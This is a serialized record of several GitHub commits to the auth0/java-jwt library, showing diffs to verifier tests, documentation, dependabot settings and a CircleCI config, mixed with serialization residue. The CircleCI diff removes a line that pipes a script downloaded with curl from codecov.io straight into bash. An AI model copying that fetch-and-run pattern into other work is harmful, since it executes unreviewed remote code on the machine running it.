         assertThat(jwt, is(notNullValue()));u}(jT  (5a784b87c0dff4fa4113c5a952cabb22e98f7464jHU  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javajJU  modifiedjBU  KjCU  KjLU  KjMU  https://github.com/auth0/java-jwt/blob/12ae664a60d5e12d824c0896d5a82ef8522a8b69/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajOU  https://github.com/auth0/java-jwt/raw/12ae664a60d5e12d824c0896d5a82ef8522a8b69/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajQU  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=12ae664a60d5e12d824c0896d5a82ef8522a8b69jSU  X  @@ -657,6 +657,7 @@ public void shouldThrowOnNegativeCustomLeeway() {
     }
 
     // Expires At
+
     @Test
     public void shouldValidateExpiresAtWithLeeway() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
@@ -674,12 +675,26 @@ public void shouldValidateExpiresAtIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(mockNow)
+                .build(mockOneSecondEarlier)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
+    @Test
+    public void shouldThrowWhenExpiresAtIsNow() {
+        // exp must be > now
+        TokenExpiredException e = assertThrows(null, TokenExpiredException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockNow)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token has expired on 1970-01-18T02:26:32Z."));
+        assertThat(e.getExpiredOn(), is(Instant.ofEpochSecond(1477592L)));
+    }
+
     @Test
     public void shouldThrowOnInvalidExpiresAtIfPresent() {
         TokenExpiredException e = assertThrows(null, TokenExpiredException.class, () -> {
@@ -731,7 +746,18 @@ public void shouldThrowOnInvalidNotBeforeIfPresent() {
 
     @Test
     public void shouldValidateNotBeforeIfPresent() {
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
+        String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0Nzc1OTN9.f4zVV0TbbTG5xxDjSoGZ320JIMchGoQCWrnT5MyQdT0";
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+        DecodedJWT jwt = verification
+                .build(mockOneSecondLater)
+                .verify(token);
+
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldAcceptNotBeforeEqualToNow() {
+        String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0Nzc1OTJ9.71XBtRmkAa4iKnyhbS4NPW-Xr26eAVAdHZgmupS7a5o";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
                 .build(mockNow)ueu(90254b99429c971708b8e9f36f51f90d7c47b9a4}(sha(90254b99429c971708b8e9f36f51f90d7c47b9a4node_idEC_kwDOAQtL0doAKDkwMjU0Yjk5NDI5Yzk3MTcwOGI4ZTlmMzZmNTFmOTBkN2M0N2I5YTQcommit}(author}(nameWilson-Emmanuelemailwilsonemmanuel144@gmail.comdate2022-11-20T02:47:20Zu	committer}(joU  Wilson-EmmanueljqU  wilsonemmanuel144@gmail.comjsU  2022-11-20T02:47:20ZumessageFixed a typographical errortree}(jgU  (43bfcfece7d6bfdc51dd19b56d5d812f3ae916aeurl^https://api.github.com/repos/auth0/java-jwt/git/trees/43bfcfece7d6bfdc51dd19b56d5d812f3ae916aeujU  `https://api.github.com/repos/auth0/java-jwt/git/commits/90254b99429c971708b8e9f36f51f90d7c47b9a4
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujU  \https://api.github.com/repos/auth0/java-jwt/commits/90254b99429c971708b8e9f36f51f90d7c47b9a4html_urlQhttps://github.com/auth0/java-jwt/commit/90254b99429c971708b8e9f36f51f90d7c47b9a4comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/90254b99429c971708b8e9f36f51f90d7c47b9a4/commentsjmU  }(loginWilson-EmmanuelidJXvjiU  MDQ6VXNlcjI0NTE4MjMy
avatar_url4https://avatars.githubusercontent.com/u/24518232?v=4gravatar_idh3jU  ,https://api.github.com/users/Wilson-EmmanueljU  "https://github.com/Wilson-Emmanuel
followers_url6https://api.github.com/users/Wilson-Emmanuel/followers
following_urlChttps://api.github.com/users/Wilson-Emmanuel/following{/other_user}	gists_url<https://api.github.com/users/Wilson-Emmanuel/gists{/gist_id}starred_urlChttps://api.github.com/users/Wilson-Emmanuel/starred{/owner}{/repo}subscriptions_url:https://api.github.com/users/Wilson-Emmanuel/subscriptionsorganizations_url1https://api.github.com/users/Wilson-Emmanuel/orgs	repos_url2https://api.github.com/users/Wilson-Emmanuel/repos
events_url=https://api.github.com/users/Wilson-Emmanuel/events{/privacy}received_events_url<https://api.github.com/users/Wilson-Emmanuel/received_eventstypeUser
site_adminujuU  }(jU  Wilson-EmmanueljU  JXvjiU  MDQ6VXNlcjI0NTE4MjMyjU  4https://avatars.githubusercontent.com/u/24518232?v=4jU  h3jU  ,https://api.github.com/users/Wilson-EmmanueljU  "https://github.com/Wilson-EmmanueljU  6https://api.github.com/users/Wilson-Emmanuel/followersjU  Chttps://api.github.com/users/Wilson-Emmanuel/following{/other_user}jU  <https://api.github.com/users/Wilson-Emmanuel/gists{/gist_id}jU  Chttps://api.github.com/users/Wilson-Emmanuel/starred{/owner}{/repo}jU  :https://api.github.com/users/Wilson-Emmanuel/subscriptionsjU  1https://api.github.com/users/Wilson-Emmanuel/orgsjU  2https://api.github.com/users/Wilson-Emmanuel/reposjU  =https://api.github.com/users/Wilson-Emmanuel/events{/privacy}jU  <https://api.github.com/users/Wilson-Emmanuel/received_eventsjU  UserjU  uparents]}(jgU  (56e663c3b5830e0329160f2165043aff89f8d3bbjU  \https://api.github.com/repos/auth0/java-jwt/commits/56e663c3b5830e0329160f2165043aff89f8d3bbjU  Qhttps://github.com/auth0/java-jwt/commit/56e663c3b5830e0329160f2165043aff89f8d3bbuastats}(totalK	additionsK	deletionsKufiles]}(jgU  (903e37ba344da330a677b48994fc7b5d06171c7cfilename	README.mdstatusmodifiedjU  KjU  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/90254b99429c971708b8e9f36f51f90d7c47b9a4/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/90254b99429c971708b8e9f36f51f90d7c47b9a4/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=90254b99429c971708b8e9f36f51f90d7c47b9a4patchX  @@ -89,7 +89,7 @@ try {
         // reusable verifier instance
         .build();
         
-    decodedJWT jwt = verifier.verify(token);
+    decodedJWT = verifier.verify(token);
 } catch (JWTVerificationException exception){
     // Invalid signature/claims
 }uauF     (c2ecb704d336731fb86202826d3c65b3123e5f84}(sha(c2ecb704d336731fb86202826d3c65b3123e5f84node_idEC_kwDOAQtL0doAKGMyZWNiNzA0ZDMzNjczMWZiODYyMDI4MjZkM2M2NWIzMTIzZTVmODQcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-08-17T03:09:37Zu	committer}(jU  Jim AndersonjU  jimranderson@gmail.comjU  2023-08-17T03:09:37Zumessageupdate dependabottree}(jU  (deb626f6b367d635f07e4781e2c4adbf277516b6url^https://api.github.com/repos/auth0/java-jwt/git/trees/deb626f6b367d635f07e4781e2c4adbf277516b6ujU  `https://api.github.com/repos/auth0/java-jwt/git/commits/c2ecb704d336731fb86202826d3c65b3123e5f84
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujU  \https://api.github.com/repos/auth0/java-jwt/commits/c2ecb704d336731fb86202826d3c65b3123e5f84html_urlQhttps://github.com/auth0/java-jwt/commit/c2ecb704d336731fb86202826d3c65b3123e5f84comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c2ecb704d336731fb86202826d3c65b3123e5f84/commentsjU  }(login
jimmyjamesidJ7 jU  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jU  'https://api.github.com/users/jimmyjamesj V  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujU  }(jV  
jimmyjamesjV  J7 jU  MDQ6VXNlcjI3NjIyNQ==j	V  2https://avatars.githubusercontent.com/u/276225?v=4jV  h3jU  'https://api.github.com/users/jimmyjamesj V  https://github.com/jimmyjamesjV  1https://api.github.com/users/jimmyjames/followersjV  >https://api.github.com/users/jimmyjames/following{/other_user}jV  7https://api.github.com/users/jimmyjames/gists{/gist_id}jV  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jV  5https://api.github.com/users/jimmyjames/subscriptionsjV  ,https://api.github.com/users/jimmyjames/orgsjV  -https://api.github.com/users/jimmyjames/reposjV  8https://api.github.com/users/jimmyjames/events{/privacy}jV  7https://api.github.com/users/jimmyjames/received_eventsj V  Userj"V  uparents]}(jU  (007bc0f03e853dd8e3cd541bd9a23b86c92fa194jU  \https://api.github.com/repos/auth0/java-jwt/commits/007bc0f03e853dd8e3cd541bd9a23b86c92fa194j V  Qhttps://github.com/auth0/java-jwt/commit/007bc0f03e853dd8e3cd541bd9a23b86c92fa194uastats}(totalK	additionsK	deletionsKufiles]}(jU  (f2839f50be3276f46146a77e50c87bf2653649ecfilename .github/workflows/dependabot.ymlstatusmodifiedj<V  Kj=V  KchangesKblob_urlthttps://github.com/auth0/java-jwt/blob/c2ecb704d336731fb86202826d3c65b3123e5f84/.github%2Fworkflows%2Fdependabot.ymlraw_urlshttps://github.com/auth0/java-jwt/raw/c2ecb704d336731fb86202826d3c65b3123e5f84/.github%2Fworkflows%2Fdependabot.ymlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/.github%2Fworkflows%2Fdependabot.yml?ref=c2ecb704d336731fb86202826d3c65b3123e5f84patch@@ -5,8 +5,8 @@ updates:
     schedule:
       interval: "daily"
 
-  - package-ecosystem: "pip"
-    directory: "/"
+  - package-ecosystem: "gradle"
+    directory: "lib"
     schedule:
       interval: "daily"
     ignore:uau(4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860}(sha(4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860node_idEC_kwDOAQtL0doAKDRlZTEzY2JiYmEwNGM0YjYxNTNhOWMwZTViZDk5ZTNhNDQ4Yjg4NjAcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-08-30T00:32:23Zu	committer}(jYV  Jim Andersonj[V  jimranderson@gmail.comj]V  2022-08-30T00:32:23Zumessage5[SDK-3816] Update docs for verification thread-safetytree}(jQV  (e4089ca084c64a6ca767c2bee54370896ab26a1eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/e4089ca084c64a6ca767c2bee54370896ab26a1eujiV  `https://api.github.com/repos/auth0/java-jwt/git/commits/4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujiV  \https://api.github.com/repos/auth0/java-jwt/commits/4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860html_urlQhttps://github.com/auth0/java-jwt/commit/4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860/commentsjWV  }(login
jimmyjamesidJ7 jSV  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jiV  'https://api.github.com/users/jimmyjamesjuV  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj_V  }(jzV  
jimmyjamesj|V  J7 jSV  MDQ6VXNlcjI3NjIyNQ==j~V  2https://avatars.githubusercontent.com/u/276225?v=4jV  h3jiV  'https://api.github.com/users/jimmyjamesjuV  https://github.com/jimmyjamesjV  1https://api.github.com/users/jimmyjames/followersjV  >https://api.github.com/users/jimmyjames/following{/other_user}jV  7https://api.github.com/users/jimmyjames/gists{/gist_id}jV  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jV  5https://api.github.com/users/jimmyjames/subscriptionsjV  ,https://api.github.com/users/jimmyjames/orgsjV  -https://api.github.com/users/jimmyjames/reposjV  8https://api.github.com/users/jimmyjames/events{/privacy}jV  7https://api.github.com/users/jimmyjames/received_eventsjV  UserjV  uparents]}(jQV  (298b95458199fce91a44872c268530edcd2f2233jiV  \https://api.github.com/repos/auth0/java-jwt/commits/298b95458199fce91a44872c268530edcd2f2233juV  Qhttps://github.com/auth0/java-jwt/commit/298b95458199fce91a44872c268530edcd2f2233uastats}(totalK	additionsK	deletionsKufiles](}(jQV  (4df13b9d6aa0b414d39cdec8ef3b90dfe5eb0d26filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedjV  KjV  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860patchX  @@ -46,7 +46,11 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
     }
 
     /**
-     * {@link Verification} implementation that accepts all the expected Claim values for verification.
+     * {@link Verification} implementation that accepts all the expected Claim values for verification, and
+     * builds a {@link com.auth0.jwt.interfaces.JWTVerifier} used to verify a JWT's signature and expected claims.
+     *
+     * Note that this class is {@strong not} thread-safe. Calling {@link #build()} returns an instance of
+     * {@link com.auth0.jwt.interfaces.JWTVerifier} which can be reused.
      */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;u}(jQV  (2756ddd88142eff2aa756aad6bc78facd09c3c21jV  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javajV  modifiedjV  K
jV  KjV  KjV  https://github.com/auth0/java-jwt/blob/4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajV  https://github.com/auth0/java-jwt/raw/4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajV  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860jV  XO  @@ -4,7 +4,19 @@
 
 
 /**
- * Used to verify the JWT for its signature and claims.
+ * Used to verify the JWT for its signature and claims. Implementations must be thread-safe. Instances are created
+ * using {@link Verification}.
+ *
+ * <pre>
+ * try {
+ *      JWTVerifier verifier = JWTVerifier.init(Algorithm.RSA256(publicKey, privateKey)
+ *          .withIssuer("auth0")
+ *          .build();
+ *      DecodedJWT jwt = verifier.verify("token");
+ * } catch (JWTVerificationException e) {
+ *      // invalid signature or claims
+ * }
+ * </pre>
  */
 public interface JWTVerifier {
 u}(jQV  (df90ec025adf40be285ced27e1b1188dbe332804jV  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javajV  modifiedjV  KjV  KjV  KjV  https://github.com/auth0/java-jwt/blob/4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajV  https://github.com/auth0/java-jwt/raw/4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajV  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=4ee13cbbba04c4b6153a9c0e5bd99e3a448b8860jV  X  @@ -7,7 +7,9 @@
 import java.util.function.BiPredicate;
 
 /**
- * Constructs and holds the checks required for a JWT to be considered valid.
+ * Constructs and holds the checks required for a JWT to be considered valid. Note that implementations are
+ * <strong>not</strong> thread-safe. Once built by calling {@link #build()}, the resulting {@link com.auth0.jwt.interfaces.JWTVerifier}
+ * is thread-safe.
  */
 public interface Verification {
 ueu(1e5d11e17a09bd9d709fbfe94d4345706c0aa57f}(sha(1e5d11e17a09bd9d709fbfe94d4345706c0aa57fnode_idEC_kwDOAQtL0doAKDFlNWQxMWUxN2EwOWJkOWQ3MDlmYmZlOTRkNDM0NTcwNmMwYWE1N2Ycommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-02-18T11:57:54Zu	committer}(jV  
Poovamraj T TjV  poovamraj@gmail.comjV  2022-02-18T11:57:54Zumessage6Deprecation notice for secp256k1 curve in EC algorithmtree}(jV  (7e0ac755fd5f5a520446d0045095190ea99eea55url^https://api.github.com/repos/auth0/java-jwt/git/trees/7e0ac755fd5f5a520446d0045095190ea99eea55ujV  `https://api.github.com/repos/auth0/java-jwt/git/commits/1e5d11e17a09bd9d709fbfe94d4345706c0aa57f
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujV  \https://api.github.com/repos/auth0/java-jwt/commits/1e5d11e17a09bd9d709fbfe94d4345706c0aa57fhtml_urlQhttps://github.com/auth0/java-jwt/commit/1e5d11e17a09bd9d709fbfe94d4345706c0aa57fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1e5d11e17a09bd9d709fbfe94d4345706c0aa57f/commentsjV  }(login	poovamrajidJ jV  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jV  &https://api.github.com/users/poovamrajjV  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujV  }(jV  	poovamrajjW  J jV  MDQ6VXNlcjE1OTEwNDI1jW  4https://avatars.githubusercontent.com/u/15910425?v=4jW  h3jV  &https://api.github.com/users/poovamrajjV  https://github.com/poovamrajjW  0https://api.github.com/users/poovamraj/followersj
W  =https://api.github.com/users/poovamraj/following{/other_user}jW  6https://api.github.com/users/poovamraj/gists{/gist_id}jW  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jW  4https://api.github.com/users/poovamraj/subscriptionsjW  +https://api.github.com/users/poovamraj/orgsjW  ,https://api.github.com/users/poovamraj/reposjW  7https://api.github.com/users/poovamraj/events{/privacy}jW  6https://api.github.com/users/poovamraj/received_eventsjW  UserjW  uparents]}(jV  (f84a52796a99d02864f088789ab8c7f74eb6dcc2jV  \https://api.github.com/repos/auth0/java-jwt/commits/f84a52796a99d02864f088789ab8c7f74eb6dcc2jV  Qhttps://github.com/auth0/java-jwt/commit/f84a52796a99d02864f088789ab8c7f74eb6dcc2uastats}(totalK	additionsK	deletionsKufiles]}(jV  (87e55024bae885befb4e3395c70143c73e304ddffilename	README.mdstatusmodifiedj6W  Kj7W  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/1e5d11e17a09bd9d709fbfe94d4345706c0aa57f/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/1e5d11e17a09bd9d709fbfe94d4345706c0aa57f/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=1e5d11e17a09bd9d709fbfe94d4345706c0aa57fpatchX  @@ -46,10 +46,11 @@ The library implements JWT Verification and Signing using the following algorith
 | RS384 | RSA384 | RSASSA-PKCS1-v1_5 with SHA-384 |
 | RS512 | RSA512 | RSASSA-PKCS1-v1_5 with SHA-512 |
 | ES256 | ECDSA256 | ECDSA with curve P-256 and SHA-256 |
-| ES256K | ECDSA256 | ECDSA with curve secp256k1 and SHA-256 |
 | ES384 | ECDSA384 | ECDSA with curve P-384 and SHA-384 |
 | ES512 | ECDSA512 | ECDSA with curve P-521 and SHA-512 |
 
+⚠️ Note - ECDSA with curve secp256k1 and SHA-256 will not be supported further by this library since it has been (disabled in Java 15)[https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219]
+
 ## Usage
 
 ### Pick the Algorithmuau(ccd4191be6dfb49c587cb2e28529e1b5e635f39f}(sha(ccd4191be6dfb49c587cb2e28529e1b5e635f39fnode_idEC_kwDOAQtL0doAKGNjZDQxOTFiZTZkZmI0OWM1ODdjYjJlMjg1MjllMWI1ZTYzNWYzOWYcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-07-08T15:29:25Zu	committer}(jSW  GitHubjUW  noreply@github.comjWW  2022-07-08T15:29:25Zumessage8Merge pull request #595 from auth0/chore/upgrade-codecovtree}(jKW  (4d9e5ce3da6a803f09180e807a1f97bc884c97a3url^https://api.github.com/repos/auth0/java-jwt/git/trees/4d9e5ce3da6a803f09180e807a1f97bc884c97a3ujcW  `https://api.github.com/repos/auth0/java-jwt/git/commits/ccd4191be6dfb49c587cb2e28529e1b5e635f39f
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiyE1VCRBK7hj4Ov3rIwAA37UIAGy4GlTIfIjXjG8xnlFaOc5z
BwBV/OLQR/C9pzyDMpe7ne5y5gqA/E+UzWMG+axUpV6wUfnwIfiM4mPZeelGjKlS
44gVh/cE3LSW6pXLs3rvdnRgqAB0tWXBBf6AoMBkw2KWlZ1v8t4vmfhQIVThufdm
bITvczJor8bU5xX+MLyFahzJZBs3hfhEFoHl9vt8EPmFRdUJrJrO6Lba9wUSLINL
o9tKMnPsPleI8tphONULcxMwRNuQe1MmgpcqZAzgekB/looa71z2nttjzN1XNYQJ
tSb17JowceRb7IYbruY0Fm0kvmiCj2OZosNPd2LUjGwxWosEg3cAxLUaqvavfoI=
=L8W1
-----END PGP SIGNATURE-----
payloadX8  tree 4d9e5ce3da6a803f09180e807a1f97bc884c97a3
parent 3e6f4b80a125df67a97df6d8eadf675d79907624
parent 190132ca282c2b6ff2d12b04c1ea07224ad9f271
author Evan Sims <evan.sims@auth0.com> 1657294165 -0500
committer GitHub <noreply@github.com> 1657294165 -0500

Merge pull request #595 from auth0/chore/upgrade-codecov

uujcW  \https://api.github.com/repos/auth0/java-jwt/commits/ccd4191be6dfb49c587cb2e28529e1b5e635f39fhtml_urlQhttps://github.com/auth0/java-jwt/commit/ccd4191be6dfb49c587cb2e28529e1b5e635f39fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ccd4191be6dfb49c587cb2e28529e1b5e635f39f/commentsjQW  }(loginevansimsidMjMW  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3jcW  %https://api.github.com/users/evansimsjqW  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminujYW  }(jvW  web-flowjxW  J/jMW  MDQ6VXNlcjE5ODY0NDQ3jzW  4https://avatars.githubusercontent.com/u/19864447?v=4j|W  h3jcW  %https://api.github.com/users/web-flowjqW  https://github.com/web-flowjW  /https://api.github.com/users/web-flow/followersjW  <https://api.github.com/users/web-flow/following{/other_user}jW  5https://api.github.com/users/web-flow/gists{/gist_id}jW  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jW  3https://api.github.com/users/web-flow/subscriptionsjW  *https://api.github.com/users/web-flow/orgsjW  +https://api.github.com/users/web-flow/reposjW  6https://api.github.com/users/web-flow/events{/privacy}jW  5https://api.github.com/users/web-flow/received_eventsjW  UserjW  uparents](}(jKW  (3e6f4b80a125df67a97df6d8eadf675d79907624jcW  \https://api.github.com/repos/auth0/java-jwt/commits/3e6f4b80a125df67a97df6d8eadf675d79907624jqW  Qhttps://github.com/auth0/java-jwt/commit/3e6f4b80a125df67a97df6d8eadf675d79907624u}(jKW  (190132ca282c2b6ff2d12b04c1ea07224ad9f271jcW  \https://api.github.com/repos/auth0/java-jwt/commits/190132ca282c2b6ff2d12b04c1ea07224ad9f271jqW  Qhttps://github.com/auth0/java-jwt/commit/190132ca282c2b6ff2d12b04c1ea07224ad9f271uestats}(totalK0	additionsK	deletionsK ufiles]}(jKW  (c6425bb833342d1d6ca0b2cb4a63d39e9265eea2filename.circleci/config.ymlstatusmodifiedjW  KjW  K changesK0blob_urlfhttps://github.com/auth0/java-jwt/blob/ccd4191be6dfb49c587cb2e28529e1b5e635f39f/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/ccd4191be6dfb49c587cb2e28529e1b5e635f39f/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=ccd4191be6dfb49c587cb2e28529e1b5e635f39fpatchX-	  @@ -1,4 +1,6 @@
 version: 2.1
+orbs:
+  codecov: codecov/codecov@3
 
 commands:
   checkout-and-build:
@@ -8,9 +10,9 @@ commands:
       # Download and cache dependencies
       - restore_cache:
           keys:
-          - v1-dependencies-{{ checksum "build.gradle" }}
-          # fallback to using the latest cache if no exact match is found
-          - v1-dependencies-
+            - v1-dependencies-{{ checksum "build.gradle" }}
+            # fallback to using the latest cache if no exact match is found
+            - v1-dependencies-
       - run: ./gradlew clean build
       - save_cache:
           paths:
@@ -19,10 +21,7 @@ commands:
   run-tests:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
-      - run:
-          name: Upload Coverage
-          when: on_success
-          command: bash <(curl -s https://codecov.io/bash) -Z -C $CIRCLE_SHA1
+      - codecov/upload
 #  TODO re-enable once 4.0.0 is released
 #  run-api-diff:
 #    steps:
@@ -43,36 +42,21 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-#  api-diff:
-#    docker:
-#      - image: openjdk:11.0-jdk
-#    steps:
-#      - checkout-and-build
-#      - run-api-diff
-#    environment:
-#      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-#      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-#      TERM: dumb
-  semgrep:
-    docker:
-      - image: returntocorp/semgrep-agent:v1
-    environment:
-      SEMGREP_REPO_NAME: "auth0/java-jwt"
-      SEMGREP_REPO_URL: "https://github.com/auth0/java-jwt"
-    steps:
-      - checkout
